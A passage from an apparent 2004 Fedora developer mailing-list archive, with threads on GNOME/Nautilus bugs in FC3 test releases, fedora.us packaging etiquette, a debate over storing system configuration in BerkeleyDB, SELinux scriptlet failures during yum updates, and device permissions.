oldUtils File "/usr/lib/python2.3/site-packages/rpmUtils/oldUtils.py", line 8, in ? from i18n import _ ImportError: No module named i18n From rstrode at redhat.com Thu Oct 14 22:04:31 2004 From: rstrode at redhat.com (Ray Strode) Date: Thu, 14 Oct 2004 18:04:31 -0400 Subject: rhn-applet stopped working as of 10.14 update In-Reply-To: <1097786793.9543.2.camel@tiger> References: <1097786793.9543.2.camel@tiger> Message-ID: <1097791471.3757.80.camel@localhost.localdomain> Hi, > I get this when running from command line. > > $ rhn-applet-gui > Traceback (most recent call last): > File "/usr/bin/rhn-applet-gui", line 30, in ? > import rhn_applet > File "/usr/share/rhn/rhn_applet/rhn_applet.py", line 36, in ? > from rhn_applet_model import rhnAppletModelGUI > File "/usr/share/rhn/rhn_applet/rhn_applet_model.py", line 23, in ? > from rhn_sources import getSources, changedSources > File "/usr/share/rhn/rhn_applet/rhn_sources.py", line 8, in ? > from sourcesConfig import SourcesConfigFile > File "/usr/share/rhn/up2date_client/sourcesConfig.py", line 17, in ? > import up2dateUtils > File "/usr/share/rhn/up2date_client/up2dateUtils.py", line 17, in ? > import rpmUtils > File "/usr/lib/python2.3/site-packages/rpmUtils/__init__.py", line 6, > in ? > import oldUtils > File "/usr/lib/python2.3/site-packages/rpmUtils/oldUtils.py", line 8, > in ? > from i18n import _ > ImportError: No module named i18n > > This bug is being tracked here: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=135735 --Ray From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Thu Oct 14 23:10:25 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Fri, 15 Oct 2004 01:10:25 +0200 Subject: Isn't current GNOME a little too buggy? Message-ID: <20041015011025.2b4fceab@localhost> Hi, Sorry to post a message with a subject that seems to be typical troll, but I've been quite annoyed at many "little things" in the past few days while using GNOME. These are the typical annoyances that one would expect to be ironed out before a final release... here are a few : - My nautilus throbber is no longer all the way to the right, it's next to the "Computer" icon in a typical window. - Mounting and unmounting without going through nautilus doesn't seem to be picked up (gamin's fault?) properly, and this leads to major nautilus confusion. - Removing files from my ~/Desktop in a terminal isn't instantly reflected on the desktop anymore (gamin again?) - When copying files, there is now an estimated remaining time displayed... I've seen it go all the way down to 0:00 as expected, but drop below and go nuts with incredibly high values from there for a few seconds... couldn't find a way to reliably reproduce it, though. - When I click on my CD-ROM in computer:/// it gets mounted and I see its content, but instantly, another redundant nautilus window with the CD-ROM's content pops-up (I'm not using the spatial view). - I got some weird panel crashing issues more than once, but I couldn't track them down. - The totem/gstreamer player really needs some bugfixing AFAICT, as by dragging and dropping some videos on it, I manage to get it to open a second window with the new video (this is definitely not wanted!), and often also see a tiny separate window for fractions of a second next to the main window before it disappears when the video then starts playing in the main window. And my number one, which has been here for a while : Why do when I create a symlink to /data on my desktop, I go to the "/home/me/Desktop/data" address in nautilus by clicking on it (it doesn't expand to /data), whereas when I go into computer:/// and enter/mount my CD-ROM I get directed to /mnt/cdrom, thus clicking the "up" button doesn't get me back to computer:///? For me : 1) Those two behaviors don't seem consistent one with the other. 2) It's annoying since all my files under /data get thumbnailed twice, when I access them through both possible paths. (with all my photos, I had a 350MB ~/.thumbnails at one point) Sorry for the bit*hing, I could (should) probably report those upstream, but can't spare enough time right now and prefer investing it in checking Fedora specific stuff anyway... and just got annoyed above my usual average with the past few day's mediocre "desktop experience". I also fear what it'll be like in FC3 final. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.607.radeon Load : 1.98 1.28 0.72 From fedora at wir-sind-cool.org Fri Oct 15 00:04:20 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Fri, 15 Oct 2004 02:04:20 +0200 Subject: 10 Do's and Don'ts of successful collaboration at fedora.us Message-ID: <20041015020420.56972cc9.fedora@wir-sind-cool.org> 10 Do's and Don'ts of successful collaboration at http://fedora.us * Don't never return to an open package request of yours when somebody has reviewed it and has given you feedback. Do reply in time to comments added to your tickets. Give a brief status update in case vacation or a major lack of time prevent you from developing a package further. Don't keep tickets open when after weeks of inactivity you seem to have lost interest in a package and your download URLs give 404 Not Found. Close the tickets as WONTFIX or remove the QA keyword, at least. Notify release managers when your existing packages in the repository are unmaintained. * Don't add a comment to somebody's ticket if you don't seem to return in order to reply to the feedback you get. Do add your e-mail address to the CC list in the top right corner of a ticket in order to receive additional comments by e-mail. In particular, make sure you don't miss any additional comments until the package is published -- it might be that it fails in the build-system or is blocked by somebody else. You can remove yourself from the CC list again later, too. * Do show that you've read the documentation in the Wiki and e.g. avoid common packaging pitfalls. * Do read your own build logs (in particular the 'configure' output) and comment on missing features and any warnings before a reviewer notices them and raises questions. If you disable any features on purpose, a comment in the spec file would be very helpful. Look for unreleased package dependencies in the QA queue. * Don't target all of Red Hat Linux 8.0 and 9, Fedora Core 1 and 2, when your only testing and build environment is Fedora Core 2. It's okay to release new packages only for the latest distribution version. Certainly better than to confront reviewers with cross-distribution packaging problems (and who would do the verification?). * Do set bugzilla keywords on package requests, so your ticket appears in the proper QA and UPDATE queues: https://bugzilla.fedora.us/describekeywords.cgi * Do verify your own packages in the "pending" repository when a build team member marks a ticket as RESOLVED/PENDING: http://www.fedora.us/wiki/PendingRepository Don't expect the reviewers to take over the final verification always, because afterall, you--as the package developer-ought to find the binary builds satisfactory yourself. * Do show up in other tickets and encourage other developers to review your package in return for a review/approval of their package: http://www.fedora.us/wiki/PackageSubmissionQAPolicy#review * Do take a look at the REVIEWED queue: http://tinyurl.com/33zj3 These are package requests which have been reviewed and approved by somebody already, but need a review/approval by a second person. * Do react on bug reports about your packages in the repository, as long as you're not flooded with hundreds of new ones every day. Mark tickets ASSIGNED or close them as INVALID or WONTFIX if necessary. In particular, when you release an update which requires reviews, existing tickets in NEW state only cause confusion. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 0.00 0.00 0.00 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From symbiont at berlios.de Fri Oct 15 00:46:37 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Fri, 15 Oct 2004 08:46:37 +0800 Subject: mono -> Extras In-Reply-To: <1097785877.2714.5.camel@kyrre> References: <1097779445.3417.3.camel@p> <416ECD0D.1020109@math.unl.edu> <1097785877.2714.5.camel@kyrre> Message-ID: <200410150846.37984.symbiont@berlios.de> On Friday 15 October 2004 04:31, Kyrre Ness Sjobak wrote: > => should there be any problem asking mono to package their stuff for > extras themselves? NIH. -- -jeff From wtogami at redhat.com Fri Oct 15 04:14:30 2004 From: wtogami at redhat.com (Warren Togami) Date: Thu, 14 Oct 2004 18:14:30 -1000 Subject: Isn't current GNOME a little too buggy? In-Reply-To: <20041015011025.2b4fceab@localhost> References: <20041015011025.2b4fceab@localhost> Message-ID: <416F4EA6.4000007@redhat.com> Matthias Saou wrote: > - I got some weird panel crashing issues more than once, but I couldn't > track them down. I've seen this several times 2-3 days ago, but it seems to be solved in rawhide now... Warren From notting at redhat.com Fri Oct 15 05:09:07 2004 From: notting at redhat.com (Bill Nottingham) Date: Fri, 15 Oct 2004 01:09:07 -0400 Subject: Fedora Core 3 Bug Status - 2004-10-15 Message-ID: <20041015050907.GA10902@nostromo.devel.redhat.com> Based on bug #123268 ('FC3Target') and bug #130887 ('FC3Blocker') 2004-10-15 Severity Total Closed Need Testing BLOCKER 120 93 ( 77.50 %) 11 ( 11.83 %) TARGET 914 495 ( 54.16 %) 52 ( 10.51 %) Overall 1034 588 ( 56.87 %) 63 ( 10.00 %) 2004-10-14 Severity Total Closed Need Testing BLOCKER 117 90 ( 76.92 %) 16 ( 17.78 %) TARGET 923 484 ( 52.44 %) 56 ( 11.57 %) Overall 1040 574 ( 55.19 %) 72 ( 12.00 %) 2004-10-13 Severity Total Closed Need Testing BLOCKER 115 85 ( 73.91 %) 13 ( 15.29 %) TARGET 914 478 ( 52.30 %) 57 ( 11.92 %) Overall 1029 563 ( 54.71 %) 70 ( 12.00 %) 2004-10-11 Severity Total Closed Need Testing BLOCKER 105 78 ( 74.29 %) 10 ( 12.82 %) TARGET 892 438 ( 49.10 %) 49 ( 11.19 %) Overall 997 516 ( 51.76 %) 59 ( 11.00 %) 2004-09-30 Severity Total Closed Need Testing BLOCKER 90 67 ( 74.44 %) 11 ( 16.42 %) TARGET 831 374 ( 45.01 %) 45 ( 12.03 %) Overall 921 441 ( 47.88 %) 56 ( 12.00 %) 2004-09-23 Severity Total Closed Need Testing BLOCKER 74 43 ( 58.11 %) 9 ( 20.93 %) TARGET 703 286 ( 40.68 %) 38 ( 13.29 %) Overall 777 329 ( 42.34 %) 47 ( 14.00 %) 2004-09-08 Severity Total Closed Need Testing BLOCKER 35 14 ( 40.00 %) 3 ( 21.43 %) TARGET 591 194 ( 32.83 %) 33 ( 17.01 %) Overall 626 208 ( 33.23 %) 36 ( 17.00 %) 2004-08-18 Severity Total Closed Need Testing TARGET 415 61 ( 14.70 %) 16 ( 26.23 %) From mpeters at mac.com Fri Oct 15 05:12:51 2004 From: mpeters at mac.com (Michael A. Peters) Date: Thu, 14 Oct 2004 22:12:51 -0700 Subject: BerkeleyDB and config files In-Reply-To: <1097749965.5636.135.camel@speedy.iagorubio.net> (from iago.rubio@hispalinux.es on Thu, Oct 14, 2004 at 03:32:46 -0700) References: <20041014045018.GA5157@devel.mpeters.us> <1097749965.5636.135.camel@speedy.iagorubio.net> Message-ID: <20041015051251.GA4478@devel.mpeters.us> On 10/14/2004 03:32:46 AM, Iago Rubio wrote: > On Thu, 2004-10-14 at 06:50, Michael A. Peters wrote: > > I'd like to suggest a change to the way Fedora Core does some > things. > > I'm not talking about "standard" linux config files like /etc/ > passwd > or / > > etc/group or /etc/fstab (though the latter would be nice) - I'm > talking > > about Fedora (and RH I suppose since Fedora has become a RH test > bed) > > specific configuration files, such as /etc/security/console.perms > and / > > etc/sysconfig/network-scripts/ifcfg-[iface] type stuff. > > > > Rather than store them in flat files, which have different > > configuration parameters depending upon the file etc., use (maybe > > optionally) BerkeleyDB. > > Just to point that I don't like central configuration databases, and > I > don't think it's the way to go. > > They're single failure points for the whole system. They don't need to be. You can get redundance either through automated backups which are reverted to if corrupt, flat file backups, etc. System would still boot if the database was corrupt - flat files are also single points of failure. Can you boot if /etc/fstab is crapped? > > In fact with current selinux improvements, you will not be able to > have > a central database for all the system, but some smaller databases > with > different security contexts, to manage MAC on different roles. > > With this scenario, I don't see any improvements with this changes. The database can only be updated with utility xyz per selinux policy. utility xyz can then have its own policy with respect to what/where/how it is called. SELinux problem is not one that isn't easily solved. > > Flat files are pretty nice to manage/label. > > > bdb is already needed for the rpm database, so a Fedora system will > > > have bdb installed. > > > > Both Python and Perl (as well as many other languages) already have > > > good bdb interfaces, and both Python and Perl also have gtk+ > bindings > > too. > > What's sure is any scripting language will support open/write/read > operations on flat files. Yes - but you then have to write a utility for each different type of config file, and then maintain those utilities. Otherwise - you end up with a system that is not friendly for the typical desktop user to administrate. With an embedded database, such admin tools are trivial - you don't have to learn how program xyz pases its config file etc. > > A plain python - or shell, or Perl, ... - script can do the job on > flat > files also. Look at the mess that the RH 5/6 configuration tool was - I forget what they called it (linuxconfig??), but it often did not work properly, and never worked properly with all things, because all the different flat files used different syntax in how the config files were used. Some were read by a C program, some were sourced by a shell script, etc. That made it a nightmare to maintain the administration utility. With a database, it is much easier. The value for the setting is requested from the database, or inserted into the database. It greatly simplifies how configuration information is stored and retrieved. And an embedded database is easily backup up. I back up my rpm database daily (cron) - it hasn't failed on me in eons, but back when it did fail - it was trivial to go to a backup database. An embedded database for system config files does not need to be terribly complex, and redundancy could easily be built into a wrapper app that handles the request for info. If there is a database integrity problem, it alerts the administrator and uses the last backup. Clearly you would not want the database to contain data necessary to boot, such as your grub.conf info. But stuff like your yum repositories, network interface settings, console.perms data, etc. - that really would be better off (imho) in a single database. I know people are put off by this because of what MS did with the registry. But that was MS. Gnome does exactly this - a database for gnome application settings, gconf - and it works extremely well, and is a hell of a lot nicer than config files. From jspaleta at gmail.com Fri Oct 15 06:21:20 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Fri, 15 Oct 2004 02:21:20 -0400 Subject: BerkeleyDB and config files In-Reply-To: <20041015051251.GA4478@devel.mpeters.us> References: <20041014045018.GA5157@devel.mpeters.us> <1097749965.5636.135.camel@speedy.iagorubio.net> <20041015051251.GA4478@devel.mpeters.us> Message-ID: <604aa79104101423216e62507d@mail.gmail.com> On Thu, 14 Oct 2004 22:12:51 -0700, Michael A. Peters wrote: > That made it a nightmare to maintain the administration utility. > With a database, it is much easier. The value for the setting is > requested from the database, or inserted into the database. It greatly > simplifies how configuration information is stored and retrieved. Specifically... Berkeley DB is an absolutely horrible idea if you need to have multiple people changing multiple settings involving multiple aspects of the system. Can Berkeley DB allow for multiple writes at the same time? There is a price to be paid for centralization into a single embedded database. I'm not extremely keen on the idea of implementing a centralized embedded database for all the system configs from networking to security policy on a system where there are more than one administrator. And since I sort of get the feeling a lot of RHEL deployments are large network, multiple adminstrator sorts of things, I sort of doubt its in the best interest to steer development into the berkeley db direction. And I'm not particularly keen on the idea of requiring moving to heavier multiple user database like postgres to get around the problem of single client writing locks that an embedded database would have. I honestly don't see any gain here at all by over-centralization of disperate subsystem configfiles inside a database. Optional database usage, sure. Requirement, no. > I know people are put off by this because of what MS did with the > registry. But that was MS. Gnome does exactly this - a database for > gnome application settings, gconf - and it works extremely well, and is > a hell of a lot nicer than config files. Cough... i think you misunderstand what Gconf is...and i think you'll find a lively discussion if you care to look about the problems Gconf has had. And frankly I wouldn't be all too shocked if Gconf gets replaced with another attempt at this sort of thing anyways: http://freedesktop.org/Standards/config-spec GConf is NOT an embedded database. Its layer that sits between applications and what could be a number of different configuration storage backends. The commonly used backend isn't a 'database', its a set of xml files. If GConf is the example of the better way to approach the problem, then its not an example supports the argument that you NEED a database backend like db4 at all. You might be able to make a case for structured files like xml instead of flat files, but the case specifically for a centralized berkeley db falls short of the level of discussion thats going to be needed for serious interest compared to previous long thread discussions concerning 'registry' like behavior in the last 6 months. I personally like the discussion pointing to the creation of libconfig that implements an api for the sysconfig flat files instead of more cumbersome solutions like a centralized db as a fedora/redhat sysconfig specific stop gap measure before an appropriate api for config files can be agreed on widely. But even then we get into tradeoffs of how to build files that can be reasonably accessed with and without advanced tools. Don't underestimate the power and flexibility of being able to quickly open up a configuration file in vi from a simplistic rescue environment and be able to get something fixed, in your quest to build a file syntax and layout that is is to build graphical tools on. There are tradeoffs invovled, and I'm not even sure the benefits of even something simple like xml like structured files strikes a balance to the ease of parsing the flat files in vi when its needed. I encourage you to look back to at least July in the archives of this list and read up on similar discussions. -jef From Nicolas.Mailhot at laPoste.net Fri Oct 15 06:38:59 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Fri, 15 Oct 2004 08:38:59 +0200 Subject: BerkeleyDB and config files In-Reply-To: <604aa79104101423216e62507d@mail.gmail.com> References: <20041014045018.GA5157@devel.mpeters.us> <1097749965.5636.135.camel@speedy.iagorubio.net> <20041015051251.GA4478@devel.mpeters.us> <604aa79104101423216e62507d@mail.gmail.com> Message-ID: <1097822339.21364.4.camel@rousalka.dyndns.org> Le vendredi 15 octobre 2004 ? 02:21 -0400, Jeff Spaleta a ?crit : > Don't underestimate the power and > flexibility of being able to quickly open up a configuration file in > vi from a simplistic rescue environment and be able to get something > fixed, in your quest to build a file syntax and layout that is is to > build graphical tools on. There are tradeoffs invovled, and I'm not > even sure the benefits of even something simple like xml like > structured files strikes a balance to the ease of parsing the flat > files in vi when its needed. Just look at the fontconfig xml config files - perfectly accessible in vi if you ask me. This is xml conf done right, not the junk that's hidden behind gconf-editor. You've got about the same difference than between a postfix and sendmail setup. Ease of conf is not a tech issue only. If you don't care, the smartest tech in the world won't fix your files for you (and the mess produced by gconf does not mean conf files can't be done in xml) Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From rbultje at ronald.bitfreak.net Fri Oct 15 07:22:49 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Fri, 15 Oct 2004 09:22:49 +0200 Subject: Isn't current GNOME a little too buggy? In-Reply-To: <20041015011025.2b4fceab@localhost> References: <20041015011025.2b4fceab@localhost> Message-ID: <1097824968.2778.5.camel@tux.lan> On Fri, 2004-10-15 at 01:10, Matthias Saou wrote: > - The totem/gstreamer player really needs some bugfixing AFAICT, as by > dragging and dropping some videos on it, I manage to get it to open a > second window with the new video (this is definitely not wanted!), and > often also see a tiny separate window for fractions of a second next to the > main window before it disappears when the video then starts playing in the > main window. The window popup thing is fixed in CVS, I can provide a patch for the Fedora RPMs if you want. Will Fedora ship totem, and if so, will it stick to 0.8.5 of gst-plugins or is there a chance for inclusion of a newer version if we release it before the Fedora Core 3 release? Ronald -- Ronald S. Bultje From rhally at mindspring.com Fri Oct 15 07:16:37 2004 From: rhally at mindspring.com (Richard Hally) Date: Fri, 15 Oct 2004 03:16:37 -0400 Subject: prelink and yum conflict In-Reply-To: <4c4ba153041012080320a86633@mail.gmail.com> References: <4c4ba1530410080908a02a768@mail.gmail.com> <1097252045.16641.150.camel@moss-spartans.epoch.ncsc.mil> <200410111634.12567.russell@coker.com.au> <1097585847.29271.98.camel@moss-spartans.epoch.ncsc.mil> <416BDBB9.1090309@nc.rr.com> <416BE433.3080302@nc.rr.com> <1097590260.29271.145.camel@moss-spartans.epoch.ncsc.mil> <416BEDD0.6050301@nc.rr.com> <4c4ba153041012080320a86633@mail.gmail.com> Message-ID: <416F7955.7010205@mindspring.com> Tom London wrote: >Sorry to belabor this....but running strict/enforcing, >here is a subset of the messages from 'yum update' >of today's Rawhide: > >gnome-vfs2 100 % done 3/161 >/sbin/ldconfig: Renaming of /etc/ld.so.cache~ to /etc/ld.so.cache >failed: Permission denied >error: %post(gnome-vfs2-2.8.2-1.i386) scriptlet failed, exit status 1 >gail 100 % done 4/161 >mozilla-nspr 100 % done 5/161 >error: %post(mozilla-nspr-1.7.3-13.i386) scriptlet failed, exit status 1 >eel2 100 % done 6/161 >rpm-libs 100 % done 7/161 >ImageMagick 100 % done 8/161 >grep 100 % done 9/161 >pam 100 % done 10/161 >/sbin/ldconfig: Renaming of /etc/ld.so.cache~ to /etc/ld.so.cache >failed: Permission denied >mozilla-nss 100 % done 11/161 >error: %post(mozilla-nss-1.7.3-13.i386) scriptlet failed, exit status 1 >mozilla 100 % done 12/161 >sane-backends 100 % done 13/161 >rpm 100 % done 14/161 >/sbin/ldconfig: Renaming of /etc/ld.so.cache~ to /etc/ld.so.cache >failed: Permission denied >cups-libs 100 % done 15/161 >libuser 100 % done 16/161 >/sbin/ldconfig: Renaming of /etc/ld.so.cache~ to /etc/ld.so.cache >failed: Permission denied >error: %post(libuser-0.52.5-1.i386) scriptlet failed, exit status 1 >ImageMagick-c++ 100 % done 17/161 >nautilus 100 % done 78/161 >/sbin/ldconfig: Renaming of /etc/ld.so.cache~ to /etc/ld.so.cache >failed: Permission denied >nautilus-cd-burner 100 % done 79/161 >/sbin/ldconfig: Renaming of /etc/ld.so.cache~ to /etc/ld.so.cache >failed: Permission denied >control-center 100 % done 80/161 >/sbin/ldconfig: Renaming of /etc/ld.so.cache~ to /etc/ld.so.cache >failed: Permission denied > >rpm -V of the above packages is non-eventful, except for libuser: >.......T. c /etc/libuser.conf >..5....T. /usr/bin/lchfn >..5....T. /usr/bin/lchsh >..5....T. /usr/lib/libuser.so.1.1.1 >..5....T. /usr/lib/libuser/libuser_files.so >..5....T. /usr/lib/libuser/libuser_ldap.so >..5....T. /usr/lib/libuser/libuser_shadow.so >S.5....T. /usr/lib/python2.3/site-packages/libusermodule.so >..5....T. /usr/sbin/lchage >..5....T. /usr/sbin/lgroupadd >..5....T. /usr/sbin/lgroupdel >..5....T. /usr/sbin/lgroupmod >..5....T. /usr/sbin/lid >..5....T. /usr/sbin/lnewusers >..5....T. /usr/sbin/lpasswd >..5....T. /usr/sbin/luseradd >..5....T. /usr/sbin/luserdel >..5....T. /usr/sbin/lusermod >.......T. /usr/share/locale/ar/LC_MESSAGES/libuser.mo ><<>> > >Is this safe to ignore? Should I reinstall offending packages >running in permissive mode? Other? > >tom > > > > > > Is there a bugzilla for this problem? It appears that all these rpm %post scriptlet failures are making are mess of the systems that try to update with SElinux and strict policy. Also, since yum is no longer producing a log file it is hard to determine which packages have been affected. Richard Hally From rodd at clarkson.id.au Fri Oct 15 07:17:26 2004 From: rodd at clarkson.id.au (Rodd Clarkson) Date: Fri, 15 Oct 2004 17:17:26 +1000 Subject: wrong extension dragging tar.bz2 files from evolution to firefox download manager Message-ID: <1097824646.3933.9.camel@clownfish.redfishdemo.com> If I drag a url that downloads a tar.bz2 file (and presumably a tar.gz file too) from evolution (and probably elsewhere) to the filefox browser window, the file downloads as I would expect. However, if I drag the same file to the download manager window for firefox, it appends a .tar on the end of the file name. Here's a trial URL: http://ftp.gnome.org/pub/GNOME/sources/gnome-session/2.8/gnome-session-2.8.1.tar.bz2 Note: you don't need to download the file to see that the filenames are wrong. Is anyone else seeing this, and where should I file the bug? Is this a firefox bug, or something that's happened in the modifications upstream for fedora core 3? Rodd -- >From the pain come the dream >From the dream come the vision >From the vision come the people >From the people come the power >From this power come the change - Peter Gabriel From alexl at redhat.com Fri Oct 15 07:41:24 2004 From: alexl at redhat.com (Alexander Larsson) Date: Fri, 15 Oct 2004 09:41:24 +0200 Subject: Isn't current GNOME a little too buggy? In-Reply-To: <20041015011025.2b4fceab@localhost> References: <20041015011025.2b4fceab@localhost> Message-ID: <1097826084.3967.486.camel@greebo.homeip.net> On Fri, 2004-10-15 at 01:10 +0200, Matthias Saou wrote: > > - When I click on my CD-ROM in computer:/// it gets mounted and I see > its content, but instantly, another redundant nautilus window with the > CD-ROM's content pops-up (I'm not using the spatial view). This sounds like you have "Browse removable media when inserted" on, but it is off by default in fc3. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl at redhat.com alla at lysator.liu.se He's a superhumanly strong guitar-strumming werewolf whom everyone believes is mad. She's a man-hating paranoid single mother with an MBA from Harvard. They fight crime! From giallu at gmail.com Fri Oct 15 08:05:34 2004 From: giallu at gmail.com (Gianluca Sforna) Date: Fri, 15 Oct 2004 10:05:34 +0200 Subject: nedit 5.5 released Message-ID: Hi just noticed nedit.org crew released version 5.5. What is the correct way to report this kind of things for inclusion? bugzilla?? thank you Gianluca From aportal at univ-montp2.fr Fri Oct 15 09:35:33 2004 From: aportal at univ-montp2.fr (Alain PORTAL) Date: Fri, 15 Oct 2004 11:35:33 +0200 Subject: Devices and permissions In-Reply-To: <1097803073.2956.3.camel@localhost.localdomain> References: <200410141611.42456.aportal@univ-montp2.fr> <1097803073.2956.3.camel@localhost.localdomain> Message-ID: <200410151135.36591.aportal@univ-montp2.fr> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Le vendredi 15 Octobre 2004 03:17, Jason Luo a ?crit : > Enable the setuid/setgid attributes of your program. This isn't possible: "The KDE libraries are not designed to run with suid privileges." - -- Alain PORTAL -- Service Commun de Microscopie ?lectronique Universit? de Montpellier II -- Case Courrier 087 Place Eug?ne Bataillon -- 34095 Montpellier Cedex 05 T?l. : 04 67 14 37 35 -- Fax. : 04 67 14 37 37 NO WORD ATTACHMENTS: http://www.fsf.org/philosophy/no-word-attachments.fr.html http://www.giromini.org/usenet-fr/repondre.html -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBb5nl8dRVJ41NdFARAqdKAJwIKLPGjcItObhnpZkmNlRzfeGx9gCg5dhN XUMAiL2tLnRe0JTczYJPLZk= =XKFH -----END PGP SIGNATURE----- From aportal at univ-montp2.fr Fri Oct 15 09:43:07 2004 From: aportal at univ-montp2.fr (Alain PORTAL) Date: Fri, 15 Oct 2004 11:43:07 +0200 Subject: Devices and permissions In-Reply-To: <1097763518.15021.19.camel@localhost.localdomain> References: <200410141611.42456.aportal@univ-montp2.fr> <1097763518.15021.19.camel@localhost.localdomain> Message-ID: <200410151143.12450.aportal@univ-montp2.fr> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Le jeudi 14 Octobre 2004 16:18, Matias F?liciano a ?crit : > Use : > /etc/udev/permissions.d/ I don't have this directory. Could you tell me more? Regards. - -- Alain PORTAL -- Service Commun de Microscopie ?lectronique Universit? de Montpellier II -- Case Courrier 087 Place Eug?ne Bataillon -- 34095 Montpellier Cedex 05 T?l. : 04 67 14 37 35 -- Fax. : 04 67 14 37 37 NO WORD ATTACHMENTS: http://www.fsf.org/philosophy/no-word-attachments.fr.html http://www.giromini.org/usenet-fr/repondre.html -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBb5ur8dRVJ41NdFARAvebAKDN57Fa9Ou/wqM7hEIr+uSiCufbuwCgnNS1 jE90R9R9eJt8iV/lJ3GYkJI= =wa59 -----END PGP SIGNATURE----- From aportal at univ-montp2.fr Fri Oct 15 09:48:20 2004 From: aportal at univ-montp2.fr (Alain PORTAL) Date: Fri, 15 Oct 2004 11:48:20 +0200 Subject: Devices and permissions In-Reply-To: <416E89E5.5090405@redhat.com> References: <200410141611.42456.aportal@univ-montp2.fr> <416E89E5.5090405@redhat.com> Message-ID: <200410151148.21870.aportal@univ-montp2.fr> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Le jeudi 14 Octobre 2004 16:15, Harald Hoyer a ?crit : > let the program run as user Is it really a good idea? > put in group lp and uucp in /etc/group How can I add (and remove) through %post and %preun scripts ? Regards. - -- Alain PORTAL -- Service Commun de Microscopie ?lectronique Universit? de Montpellier II -- Case Courrier 087 Place Eug?ne Bataillon -- 34095 Montpellier Cedex 05 T?l. : 04 67 14 37 35 -- Fax. : 04 67 14 37 37 NO WORD ATTACHMENTS: http://www.fsf.org/philosophy/no-word-attachments.fr.html http://www.giromini.org/usenet-fr/repondre.html -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD4DBQFBb5zk8dRVJ41NdFARAsGoAJi/wZ2WyF9d2TvzkssDec7ml0JPAJwM8Xp9 ZwobZ1ME1t1DYXTnYG9h0Q== =S5RG -----END PGP SIGNATURE----- From alexl at redhat.com Fri Oct 15 09:59:44 2004 From: alexl at redhat.com (Alexander Larsson) Date: Fri, 15 Oct 2004 11:59:44 +0200 Subject: Isn't current GNOME a little too buggy? In-Reply-To: <20041015011025.2b4fceab@localhost> References: <20041015011025.2b4fceab@localhost> Message-ID: <1097834385.3967.497.camel@greebo.homeip.net> On Fri, 2004-10-15 at 01:10 +0200, Matthias Saou wrote: > > - My nautilus throbber is no longer all the way to the right, it's > next to the "Computer" icon in a typical window. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=135824 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl at redhat.com alla at lysator.liu.se He's a scarfaced Republican cop from the 'hood. She's a brilliant communist mermaid with an MBA from Harvard. They fight crime! From mandreiana at rdslink.ro Fri Oct 15 10:17:45 2004 From: mandreiana at rdslink.ro (Marius Andreiana) Date: Fri, 15 Oct 2004 13:17:45 +0300 Subject: Isn't current GNOME a little too buggy? In-Reply-To: <20041015011025.2b4fceab@localhost> References: <20041015011025.2b4fceab@localhost> Message-ID: <1097835466.4238.17.camel@marte.biciclete.ro> On Fri, 2004-10-15 at 01:10 +0200, Matthias Saou wrote: > - Mounting and unmounting without going through nautilus doesn't seem to be > picked up (gamin's fault?) properly, and this leads to major nautilus > confusion. I researched this with rawhide packages and filled https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=135829 with results. > - I got some weird panel crashing issues more than once, but I couldn't > track them down. me too. -- Marius Andreiana Galuna - Solutii Linux in Romania http://www.galuna.ro From frederic at wallaby.uklinux.net Fri Oct 15 10:34:09 2004 From: frederic at wallaby.uklinux.net (Frederic Soulier) Date: Fri, 15 Oct 2004 11:34:09 +0100 Subject: FC3T3: sata_sis pbm on Asus P4S800D-E Deluxe (SiS180/SiS964) Message-ID: <1097836448.2223.507.camel@possum.3ghq.local> Hi Any chance these will get looked at before FC3 final is out? http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=131721 http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132990 Thanks. -- Frederic Soulier From buildsys at redhat.com Fri Oct 15 12:01:28 2004 From: buildsys at redhat.com (Build System) Date: Fri, 15 Oct 2004 08:01:28 -0400 Subject: rawhide report: 20041015 changes Message-ID: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> New package aspell-bg Bulgarian dictionaries for Aspell. New package ttfonts-indic Free Indian truetype/opentype fonts Removed package shapecfg Updated Packages: SDL-1.2.7-8 ----------- * Thu Oct 14 2004 Thomas Woerner 1.2.7-8 - added patch from SDL CVS for arts detection/initialization problem (#113831) * Wed Sep 29 2004 Thomas Woerner 1.2.7-7.1 - moved to new autofoo utils * Fri Jul 09 2004 Thomas Woerner 1.2.7-7 - fixed resolution switching for ppc (#127254) alsa-lib-1.0.6-3 ---------------- * Thu Oct 14 2004 Bill Nottingham 1.0.6-3 - move libraries & data to root fs, needed at boot time alsa-utils-1.0.6-2 ------------------ * Thu Oct 14 2004 Bill Nottingham 1.0.6-2 - move 